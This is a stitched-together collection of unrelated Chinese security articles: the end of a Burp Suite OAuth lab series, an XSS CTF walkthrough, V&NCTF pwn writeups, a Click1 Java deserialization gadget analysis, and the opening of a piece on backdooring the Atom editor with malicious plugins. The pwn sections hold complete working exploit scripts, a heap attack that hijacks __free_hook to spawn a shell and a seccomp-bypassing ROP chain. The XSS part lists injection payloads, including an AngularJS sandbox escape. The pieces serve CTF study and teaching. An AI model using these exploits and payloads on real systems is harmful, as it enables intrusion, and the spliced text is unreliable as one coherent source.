加载外部图像、脚本或CSS内容时，授权码可能通过Referer头泄漏
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之高级漏洞篇 –
OAuth2.0认证漏洞专题的全部内容啦，本专题主要讲了OAuth的关键基础原理以及扩展组件、由OAuth机制的缺陷可能产生的漏洞、利用，最后从两个角度介绍了关于这些漏洞的防护建议等，本专题内容较多，请大家耐心阅读并一一动手解题哦，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。
## 系列结语
至此，梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列的三个大篇章，共21个专题内容就全部介绍完毕了。这是梨子第一次写文章，而且就完成了整个系列，还是非常有成就感的呢，希望这个系列可以让初学者了解到Web安全的魅力并能够通俗易懂地熟悉常见的Web安全漏洞。梨子建议大家一定要自己注册一个burp账号亲自去做每一道靶场，看每一个知识点，这样对于大家理解是非常有帮助的。21篇文章，内容很多，干货很多，希望大家能够耐心地阅读。梨子非常喜欢交朋友，所以想和梨子交流的可以私信梨子哦。最后，容我在这炫耀一下，本系列共197道靶场，梨子为全球第80个全通的用户，嘻嘻嘻，废话不多说上截图
非常感谢大家的耐心阅读，你们的支持让梨子觉得在安全圈很开心，感谢有你们。 | 社区文章 |
# XSS的魔力CTF
## **XSS闯关**
**题目描述:**
你能否过关斩将解决所有XSS问题最终获得flag呢？
**docker-compose.yml**
version: "3.2"
services:
xss:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latest
ports:
- 3000:3000
**启动方式**
docker-compose up -d
**题目Flag**
n1book{xss_is_so_interesting}
**Writeup**
创建文件
touch docker-compose.yml
测试完成后，删除整个环境
docker-compose down -v
访问url：
<http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/>
点击点我开始，进入level1
### **level1**
访问url：
<http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/level1?username=xss>
因为是xss，所以对传参进行测试，修改?username=1，进行访问
会发现username参数传入什么，welcome之后就会显示什么，所以直接构造`<script>`标签payload：
`<script>alert(/xss/)</script>`
成功通关
### **level2**
访问url：
<http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/level2?username=xss>
继续对传参进行测试，修改?username=1，进行访问，依旧回显
输入`script`标签
`<script>alert(/xss/)</script>`
发现被转码了，右键查看源码
url中username之后的参数传入var username里，也就是说这行代码是动态改变的
可以看到username被escape函数编码了，比较难绕过。
类似于SQL注入中的堆叠注入，闭合前面的单引号，注释后面的单引号，之后只要把我们的js代码传入里面，就可以在这个script标签中执行
构造payload：
`';alert(1);'`
拼接之后这行代码会变为：
`var username = '';alert(1);'';`
效果等同于
var username = '';
alert(1);
'';
代码就会执行alert(1)了
### **level3**
访问url：
<http://45a495fa-3b10-4d00-b9c0-c76d2660f037.node3.buuoj.cn/level3?username=xss>
输入第二关构造的payload：
`';alert(1);'`
发现’被\转义了
因为第一个单引号会被过滤，所以我们输入两个双引号，构造payload：
`'';alert(1);'`
代码就会执行`alert(1)`了
审查源码，我们可以发现，第三题并没有escape。在这里可以使用使用a标签+鼠标滑过事件，构造payload：
`<a onmouseover="alert(1)">`
当鼠标划过这个a标签时，触发alert
构造payload：
<img src=1 onerror=alert(1)>
使用img标签
### **level4**
访问url：
45a495fa-3b10-4d00-b9c0-c76d2660f037.node3.buuoj.cn/level4
这是一个定时重定向，每过十秒就会重定向刷一次页面
观察url，发现没有给出参数，所以右键查看源码
<script type="text/javascript">
//time为10就是10秒重定向刷一次页面
var time = 10;
var jumpUrl;
//自定义的参数
//获取参数jumpUrl
//getQueryVariable结果为false，就赋为location.href；为true，getQueryVariable并把jumpUrl传过去，并赋值为函数的返回值
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
//下面就是一些赋值和十秒倒计时
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
//关键在这里
function getQueryVariable(variable)
{
//URL中，从?开始的参数部分然后以&进行分割，分成数组
//首先，想到的是，既然有&，并且上面提到了jumpUrl变量，那我们就得构造一个&jumpUrl变量
//这个函数returnjumpUrl的值给到上面倒计时中的innerHTML
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
注意jumpUrl就是我们要跳转的网页，因此我们要注入的点应该是jumpUrl。
先一步一步审一下代码。getQueryVariable函数里面的query就是?后面的内容，比如<http://localhost:3000/level4?123456，这样的话query就是123456。>
vars是query以&作为分隔符分隔后形成的数组。简单来说就是相当于获得了每个参数。
然后遍历每个参数。将每个参数以=为分隔符再分隔形成数组，这样pair[0]相当于参数名，pair[1]相当于值。接着进行判断，if(pair[0] ==
variable){return pair[1];}
因此我们直接构造好参数名，就是控制返回的内容。
因此这样：
通过这样的方式来实现注入
../level4?payload
伪链接
`javascript:alert(1)`，浏览器会把javascript后面的那一段内容当做代码，直接在当前页面执行。
代码中接收jumpUrl作为跳转url,所以构造payload：
`../level4?jumpUrl=javascript:alert(1)`
等待十秒利用js伪协议触发`alert(1)`
### **level5**
访问url：
<http://efd46ffe-debb-45f1-95e5-77ebeb9ae065.node3.buuoj.cn/level5>
没有参数，只有一个输入框
输入正常payload：
`<script>alert(/xss/)</script>`
输入如下图：
结果显示不能用post方法
右键查看源码
<script type="text/javascript">
//类比第四关中，getQueryVariable为false，不进行操作，我们需要执行js代码，这显然不是我们要的
//如果想要为true，那就带上这个autosubmit参数
//只是跟这个参数autosubmit参数值的关系不大，只是需要有这样一个参数，因为下面，都是在对另一个参数action操作
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
//这里又一次出现了getQueryVariable函数，其实就是得存在action
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
源码中有条件限制
第一个限制为
if(getQueryVariable('autosubmit') !== false){
突破第一个限制的方法是给autosubm传个值
autosubmit=1
第二个限制为
autoForm.action = (getQueryVariable('action') == false) ? location.href :
getQueryVariable('action');
突破第二个限制的方法是getQueryVariable(‘action’) 不能为false，然后构造action
`action=javascript:alert(1)`
构造payload：
`?autosubmit=1&action=javascript:alert(1)`
成功执行`alert(1)`
### **level6**
访问url:
<http://efd46ffe-debb-45f1-95e5-77ebeb9ae065.node3.buuoj.cn/level6?username=xss>
输入paylaod:
`<script>alert(1)</script>`
结果输入完全被当成了字符串
本题考查的是二次渲染导致的XSS
构造payload进行验证
?username={{3*3}}
页面输出了9，证实了是模板xss
查看一下这个环境用的是哪个模板，发现是AngularJS 1.4.6:
可以参考如下网页：
[AngularJS客户端模板注入（XSS）](https://nosec.org/home/detail/4153.html)
看完之后会对模板注入XSS有所了解，只是因为我们的Angular版本是1.4.6，存在沙箱，因此要去搜索这个版本的Angular的沙箱逃逸的方法：
[AngularJS Sandbox Bypasses](https://xz.aliyun.com/t/4638)
读完文章之后可以得知的逃逸的payload为：
`{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`
因此我们可以构造payload为：
`?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} }
};alert(1)//');}}`
成功获取flag：
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 2021 V&NCTF 部分PWN WriteUP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ff
### 分析
首先`ida`查看一下该程序，程序一共提供了四种功能，分别是`add,delete,show,edit`四个函数，其中`show`函数只能够调用一次，`edit`函数只能调用两次。比较特殊的一个点就是该程序使用的`GLIBC
2.32`。我们首先来分析一下所有的函数，首先是`add`函数
__int64 add()
{
__int64 result; // rax
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
void *size_4; // [rsp+10h] [rbp-10h]
puts("Size:");
size = myRead();
if ( size > 0x7E )
size = 0x7F;
size_4 = malloc(size);
for ( i = 0; i <= 0xF; ++i )
{
if ( !noteList[i] )
{
noteList[i] = size_4;
global_index = i;
break;
}
}
result = noteList[global_index];
if ( result )
{
puts("Content:");
read(0, size_4, size);
result = 0LL;
}
return result;
}
从这里可以看出，一共最多可以分配`0x10`个堆块，并且每个堆块的大小要`<=0x90`，将新申请的堆块的`index`赋给了`global
index`。看一下`delete`函数。
void del()
{
free((void *)noteList[global_index]);
}
函数很简单，删除当前`global index`，并且这里没有清空列表中存储的堆块指针，也就是存在`UAF`。但是需要注意的是这里只能删除了`global
index`指向的堆块。结合`add`函数来看，只能删除新申请的堆块，之前的旧的堆块无法进行删除。再来看一下`show`函数。
ssize_t show()
{
return write(1, (const void *)noteList[global_index], 8uLL);
}
也就是输出了当前`global index`指向堆块的前`8`字节。最后看一下`edit`函数
ssize_t edit()
{
puts("Content:");
return read(0, (void *)noteList[global_index], 0x10uLL);
}
这里也是对`global index`指向的堆块进行`0x10`字节大小的`edit`。
### 利用
从上述的函数分析来看，这里的对于堆块的操作仅仅限于当前的堆块。程序中存在一个`UAF`。
那么这里利用`UAF`我们仅仅可以泄漏出堆地址，并且这还是由于`2.32`特性的原因。其最主要的一个点就是进行了`tcache->fd`指针的加密。
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
也就是进行了抑或加密。那么这里就和其他版本的`tcache`不一样了。我们看一下释放一个堆块之后的堆块内容。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757310 (size : 0x20cf0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x80) tcache_entry[6](1): 0x5555557572a0 --> 0x555555757 (invaild memory)
pwndbg> x/20gx 0x5555557572a0
0x5555557572a0: 0x0000000555555757 0x0000555555757010
0x5555557572b0: 0x0000000000000000 0x0000000000000000
0x5555557572c0: 0x0000000000000000 0x0000000000000000
0x5555557572d0: 0x0000000000000000 0x0000000000000000
0x5555557572e0: 0x0000000000000000 0x0000000000000000
0x5555557572f0: 0x0000000000000000 0x0000000000000000
0x555555757300: 0x0000000000000000 0x0000000000000000
0x555555757310: 0x0000000000000000 0x0000000000020cf1
0x555555757320: 0x0000000000000000 0x0000000000000000
0x555555757330: 0x0000000000000000 0x0000000000000000
pwndbg>
也就是说如果我们此时调用`show`函数就可以泄漏出一个堆地址。那么得到这个堆地址之后就可以利用两次`edit`的机会构造`double
free`，覆写`fd`指针，使得我们可以分配到`pthread_tcache_struct`结构体所在的堆块进而控制`tcache`的`count`和`entry`指针，从而实现任意的地址分配。
但是现在还存在一个问题就是如何泄漏得到`libc`基地址，上面我们已经控制了`tcache`，那么就可以将`0x290`大小堆块对应的`count`设置为`7`，进而释放`pthread_tcache_struct`结构体，那么该结构体就会被释放到`unsorted
bin`中，也就是存在了一个`libc`地址。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757310 (size : 0x20cf0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555757000 (size : 0x290)
(0x30) tcache_entry[1](251): 0
(0x40) tcache_entry[2](255): 0
(0x70) tcache_entry[5](251): 0
(0x80) tcache_entry[6](255): 0x555555757 (invaild memory)
(0x290) tcache_entry[39](7): 0
pwndbg> x/20gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000291
0x555555757010: 0x00007ffff7fb9c00 0x00007ffff7fb9c00
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0007000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
那么在堆块中存在改地址之后就可以再次利用任意地址分配，覆写`main_arena`附近的地址使其指向`stdout`。这个过程中由于堆块的分配导致`libc`地址向高地址方向移动，最终我选择的是在`0x60
tcache
entry`位置处存储`main_arena`附近的地址，将其覆写为`stdout`再申请`0x60`大小的堆块即可覆写`stdout`结构体，泄漏出`libc`地址。这里需要`1/16`的爆破。
泄漏到`libc`地址之后就好说了，再次利用任意地址分配分配到`free_hook`，覆写其为`system`，`getshell`。
### EXP
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xE23)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('node3.buuoj.cn', 26212)
libc = ELF('./libc.so.6')
one_gadget = 0x0
def add(size, content=b"1\n"):
p.sendlineafter(">>", "1")
p.sendlineafter("Size:\n", str(size))
p.sendafter("Content:\n", content)
def delete():
p.sendlineafter(">>", "2")
def show():
p.sendlineafter(">>", "3")
def edit(content):
p.sendlineafter(">>", "5")
p.sendafter("Content:\n", content)
stdout = 0xa6c0
while True:
try:
add(0x78)
delete()
show()
heap_base = u64(p.recv(8)) << 12
log.success("heap base is {}".format(hex(heap_base)))
edit(b"\x00"*0x10)
delete()
enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10)
edit(p64(enc) + p64(heap_base + 0x10))
add(0x78)
add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
gdb.attach(p, "b *$rebase(0xE23)")
delete()
# gdb.attach(p, "b *$rebase(0xE23)")
add(0x48, p16(0)*2 + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38)
add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0))
delete()
add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
break
except:
p.close()
p = remote('node3.buuoj.cn', 26212)
add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10))
add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system']))
delete()
p.interactive()
## LittleRedFlower
### 分析
首先用`ida`看一下。程序在一开始给出了一个`libc`地址。接着提供了一个一字节的任意写和一个`8`字节的任意写，然后根据用户输入的`size`分配了对应大小的堆块，注意的是这里的堆块大小需要满足`>
0x1000 & < 0x2000`。读取用户的内容之后释放了此堆块。
程序开启了沙箱，只能采用`ORW`
root@134f60691926:~/work/2021VNCTF/LittleRedFlower# seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
### 利用
这里很明显是要覆写`free__hook`，但是如何覆写，或者说如何申请到该堆块。看一下`tcache`的分配过程
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
这里需要满足三个条件才可以进行`tcache_get`的调用，我们来看一下`tcache_bins`，该成员变量限制了可以放入`tcache`的堆块大小与`global_max_fast`类似。
pwndbg> p mp_
$1 = {
trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,
arena_max = 0,
n_mmaps = 0,
n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 0,
mmapped_mem = 0,
max_mmapped_mem = 0,
sbrk_base = 0x555555757000 "",
tcache_bins = 64,
tcache_max_bytes = 1032,
tcache_count = 7,
tcache_unsorted_limit = 0
}
pwndbg> p &mp_
$2 = (struct malloc_par *) 0x7ffff7fbb280 <mp_>
pwndbg> x/20gx 0x7ffff7fbb280
0x7ffff7fbb280 <mp_>: 0x0000000000020000 0x0000000000020000
0x7ffff7fbb290 <mp_+16>: 0x0000000000020000 0x0000000000000008
0x7ffff7fbb2a0 <mp_+32>: 0x0000000000000000 0x0001000000000000
0x7ffff7fbb2b0 <mp_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7fbb2c0 <mp_+64>: 0x0000000000000000 0x0000555555757000
0x7ffff7fbb2d0 <mp_+80>: 0x0000000000000040 0x0000000000000408
0x7ffff7fbb2e0 <mp_+96>: 0x0000000000000007 0x0000000000000000
0x7ffff7fbb2f0 <obstack_exit_failure>: 0x0000000000000001 0x0000000001000000
0x7ffff7fbb300 <__x86_raw_shared_cache_size_half>: 0x0000000000800000 0x0000000001000000
0x7ffff7fbb310 <__x86_shared_cache_size_half>: 0x0000000000800000 0x0000000000008000
这里的`tcache_bins`默认是`0x40`，也就是`tcache`中堆块最大为`0x410`大小，如果我们将此成员变量改大，那么在之后我们分配`>0x1000`的堆块的时候就可以从`tcache`中进行分配了。
但是这里涉及到一个`count`和`entry`的问题。首先来看`count`，由于之前没有堆块的释放，因此整个`pthread_tcache_struct`全部为`0`，只能看程序一开始的`0x200`堆块，因为该堆块全部被`memset`为了`\x01`，这里正好可以作为`tcache`的`count`。
那么利用之后的`8`字节任意写在对应的位置写入`free_hook`的值就可以直接分配到`free_hook`了。这里我选择的大小为`0x1510`。
到此可以覆写`free_hook`了，但是程序开启了沙箱，只能利用`setcontext`进行一下迁移栈地址了，我是将栈地址迁移到了`free_hook`附近，并在此处布置了`orw
rop`。这里的详细内容可以看一下SROP。
### EXP
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0xc60)\nb *$rebase(0xF2a)\n b malloc\nb free")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0xe6b93, 0xe6b96, 0xe6b99, 0x10af39]
else:
p = remote('node3.buuoj.cn', 29649)
libc = ELF('./libc.so.6')
one_gadget = [0xe6b93, 0xe6b96, 0xe6b99, 0x10af39]
p.recvuntil("GIFT: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
mp_address = libc.sym['obstack_exit_failure'] - 0x70
p.sendafter("byte anywhere\n", p64(mp_address + 0x51))
p.sendafter("what?", "\x02")
p_rsi_r = 0x000000000002709c + libc.address
p_rdi_r = 0x0000000000026bb2 + libc.address
p_rdx_r12_r = 0x000000000011c3b1 + libc.address
p_rax_r = 0x0000000000028ff4 + libc.address
syscall = 0x0000000000066199 + libc.address
leave_r = 0x000000000005a9a8 + libc.address
ret = 0x00000000000bffbb + libc.address
flag_str_address = libc.sym['__free_hook'] + 0x28
flag_address = libc.sym['__free_hook'] + 0x30
setcontext = libc.sym['setcontext'] + 61
frame_address = libc.sym['__free_hook']
orw_address = libc.sym['__free_hook'] + 0xb0
magic_gadget = 0x0000000000154b20 + libc.address
orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 0,
syscall,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 1,
syscall
])
log.success("mp_ address is {}".format(hex(mp_address)))
p.sendlineafter("Offset:\n", str(0x868))
p.sendafter("Content:\n", p64(libc.sym['__free_hook']))
p.sendlineafter("size:\n", str(0x1500))
payload = p64(magic_gadget) + p64(frame_address)
payload += p64(0)*2 + p64(setcontext) + b"flag\x00".ljust(8, b"\x00")
payload += b"\x00"*0x70 + p64(orw_address) + p64(ret)
payload += orw
p.sendlineafter(">>", payload)
p.interactive() | 社区文章 |
**作者： 深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/1rFDHoDc7rhHUgczGgzBxg>**
click1 gadget构造思路是基于Commons-Collections2的Sink点（
**com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl）和source点（java.util.PriorityQueue**
）。Commons-Collections2使用`TransformingComparator`方法作为PriorityQueue类中的comparator属性值。再Click1
gadget中，作者使用`org.apache.click.control.Column$ColumnComparator`类作为替代。在Commons-Collections2分析中，可知java.util.PriorityQueue反序列化可以调用`org.apache.click.control.Column$ColumnComparator#compare`方法。
public int compare(Object row1, Object row2) {
this.ascendingSort = this.column.getTable().isSortedAscending() ? 1 : -1;
Object value1 = this.column.getProperty(row1);
Object value2 = this.column.getProperty(row2);
if (value1 instanceof Comparable && value2 instanceof Comparable) {
return !(value1 instanceof String) && !(value2 instanceof String) ? ((Comparable)value1).compareTo(value2) * this.ascendingSort : this.stringCompare(value1, value2) * this.ascendingSort;
} else if (value1 != null && value2 != null) {
return value1.toString().compareToIgnoreCase(value2.toString()) * this.ascendingSort;
} else if (value1 != null && value2 == null) {
return 1 * this.ascendingSort;
} else {
return value1 == null && value2 != null ? -1 * this.ascendingSort : 0;
}
其中compare方法传入的参数，即是构造好的恶意TemplatesImpl对象。
调用this.column.getProperty(row1)方法
public Object getProperty(Object row) {
return this.getProperty(this.getName(), row);
}
调用this.getName()方法获取Column#name属性值，并调用
this.getProperty(name , row)方法。
public Object getProperty(String name, Object row) {
if (row instanceof Map) {
Map map = (Map)row;
Object object = map.get(name);
if (object != null) {
return object;
} else {
String upperCaseName = name.toUpperCase();
object = map.get(upperCaseName);
if (object != null) {
return object;
} else {
String lowerCaseName = name.toLowerCase();
object = map.get(lowerCaseName);
return object != null ? object : null;
}
}
} else {
if (this.methodCache == null) {
this.methodCache = new HashMap();
}
return PropertyUtils.getValue(row, name, this.methodCache);
}
}
由于传入的TemplatesImpl对象不是Map的子类，直接跳过if判断，在为methodCache属性初始化HashMap类型对象后，调用PropertyUtils.getValue(row,
name, this.methodCache)方法。
public static Object getValue(Object source, String name, Map cache) {
String basePart = name;
String remainingPart = null;
if (source instanceof Map) {
return ((Map)source).get(name);
} else {
int baseIndex = name.indexOf(".");
if (baseIndex != -1) {
basePart = name.substring(0, baseIndex);
remainingPart = name.substring(baseIndex + 1);
}
Object value = getObjectPropertyValue(source, basePart, cache);
return remainingPart != null && value != null ? getValue(value, remainingPart, cache) : value;
}
}
首先将传入的name参数值赋给basePart变量。并在调用getObjectPropertyValue方法时，作为参数传入。
private static Object getObjectPropertyValue(Object source, String name, Map cache) {
PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
Method method = null;
try {
method = (Method)cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name));
cache.put(methodNameKey, method);
}
return method.invoke(source);
} catch (NoSuchMethodException var13) {
try {
method = source.getClass().getMethod(ClickUtils.toIsGetterName(name));
cache.put(methodNameKey, method);
return method.invoke(source);
} catch (NoSuchMethodException var11) {
String msg;
try {
method = source.getClass().getMethod(name);
cache.put(methodNameKey, method);
return method.invoke(source);
} catch (NoSuchMethodException var9) {
msg = "No matching getter method found for property '" + name + "' on class " + source.getClass().getName();
throw new RuntimeException(msg);
} catch (Exception var10) {
msg = "Error getting property '" + name + "' from " + source.getClass();
throw new RuntimeException(msg, var10);
}
} catch (Exception var12) {
String msg = "Error getting property '" + name + "' from " + source.getClass();
throw new RuntimeException(msg, var12);
}
} catch (Exception var14) {
String msg = "Error getting property '" + name + "' from " + source.getClass();
throw new RuntimeException(msg, var14);
}
}
由于cache是初始化的HashMap对象，所以从catch中获取不到任何缓存方法，因此会调用
**source.getClass().getMethod(ClickUtils.toGetterName(name))** 方法。
public static String toGetterName(String property) {
HtmlStringBuffer buffer = new HtmlStringBuffer(property.length() + 3);
buffer.append("get");
buffer.append(Character.toUpperCase(property.charAt(0)));
buffer.append(property.substring(1));
return buffer.toString();
}
此方法是为传入的property属性头部添加"get"三个字符，并返回，因此回到getObjectPropertyValue方法，调用method.invoke(source)方法时，method参数值对应的是"get"
+
传入的name变量。在上述的分析中，name变量值是由Column#name属性值决定的。因此控制Column#name属性值，可以调用任意类中以"get"为首的无参方法。
对于Column#name属性的控制也比较简单，通过调用Column构造方法即可。
public Column(String name) {
if (name == null) {
throw new IllegalArgumentException("Null name parameter");
} else {
this.name = name;
}
}
根据Commons-Collections2中，最终触发RCE，还需要调用TemplatesImpl#newTransformer方法。而恰巧在TemplatesImpl#getOutputProperties方法中会调用到newTransformer方法，从而触发自定义恶意类的初始化。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
至此，利用链构造完成。
* * * | 社区文章 |
# 【技术分享】如何通过恶意插件在Atom中植入后门
|
##### 译文声明
本文是翻译文章，文章来源：thinkst.com
原文地址：<http://blog.thinkst.com/2017/08/all-your-devs-are-belong-to-us-how-to.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[nstlBlueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**背景**
****
在生活和工作中，我们往往都需要用到一些类型的编辑器，这样才能开展我们的工作。但是，当选择一个编辑器时，每个人都有自己的看法。有些人是新潮派，喜欢使用像
**Atom** 或者 **Sublime**
这一类型的现代编辑器，而另外一些人则是守旧派，更喜欢坚持使用像Vim或Emacs这一类型的编辑器。无论你选择什么，对于一款编辑器而言，你最想做的可能就是以某种方式对此工具进行自定义操作。
现代编辑器的插件和扩展功能都是非常强大的。除了外观上的一些自定义之外（字体，配色方案等），它们还提供了一系列功能，这些功能能够使您的生活和工作变得更轻松，您应该能够找到一个适合您需要的插件。如果没有，你可以创建和发布一个。
通常情况下，用户会下载新的插件以满足他们的需求，这样他们的插件列表就会变得越来越多（因为谁会有时间去删除那么旧的或者未使用的插件呢？）。这其中，许多编辑器是支持自动更新的，以确保及时的修复bug以及增添新功能等。
对于这篇文章，我将重点研究Atom这款编辑器工具Github上的“明星”编辑器。根据他们的网站介绍，这是一个“ **21世纪的黑客文本编辑器** ”。
Atom编辑器的用户群在不断增长，它包含了各种各样的软件包。您甚至可以通过一些小技巧在Chromebook上安装Atom，这些技巧是通过绕过ChromeOS上的基本安全模型，使得您可以在Chromebook上安装Atom。
**目标**
****
我的任务是 **探索恶意的Atom插件对该工具的影响程度到底有多大**
。我们不知道我们将要面临什么障碍，不知道Atom会不会有什么安全措施来阻止我们的恶意程序。但事实证明，没有任何的阻碍…在几个小时之内，我不仅发布了我的第一个应用程序，而且更新了它，在此应用程序中还包含有一点点的恶意代码。
计划很简单：
**第一步** ：获取一个已经发布的简单的包或者插件
这个过程我们需要什么以及该过程是否有难度（我们是否需要我们的应用程序被审查）？
**第二步** ：测试更新过程
如果你打算创建一个恶意软件包，那么你将首先需要
**创建一个非恶意软件包，这个非恶意的软件包需要拥有一个庞大的用户群，然后推送一个软件更新，该更新包中包含了一些恶意的代码** 。
**第三步** ：从Atom包中实际测试我们可以实现的功能
我们需要确定我们的恶意软件是否在沙箱中运行以及我们拥有访问哪些系统库的权限等。
**创建简易插件**
**步骤1**
网络上有很多指南可以用来指导如何创建和发布Atom的包，包括在Atom官方网站上就有一个很详细的指南。生成一个新的包需要的步骤是：
1.创建一个新的包：
**cmd + shift + p**
**Package Generator: Generate Package**
2.步骤1将为我们生成一个简单的包，这个包只包含了一个toggle方法，这个方法我们将在稍后会使用到：
toggle: ->
console.log 'touch-type-teacher was toggled!'
3.将代码推送到Git 仓库
git init
git add .
git commit -m "First commit"
git remote add origin <remote_repo_url>
git push -u origin master
4.发布我们创建的Atom包
apm-beta publish minor
**步骤2**
在初始设置完成后，我们接下来将对我们之前创建的包做一些修改
toggle: ->
console.log 'touch-type-teacher was toggled!'
console.log 'update test'
将代码推送到Github
git commit -a -m 'Add console logging'
git push
发布新版本的代码
apm-beta publish minor
从第一步和第二步操作来看，发布和更新一个Atom包是非常容易的操作，下一步将看看我们发布的包实际上可以干些什么事情。
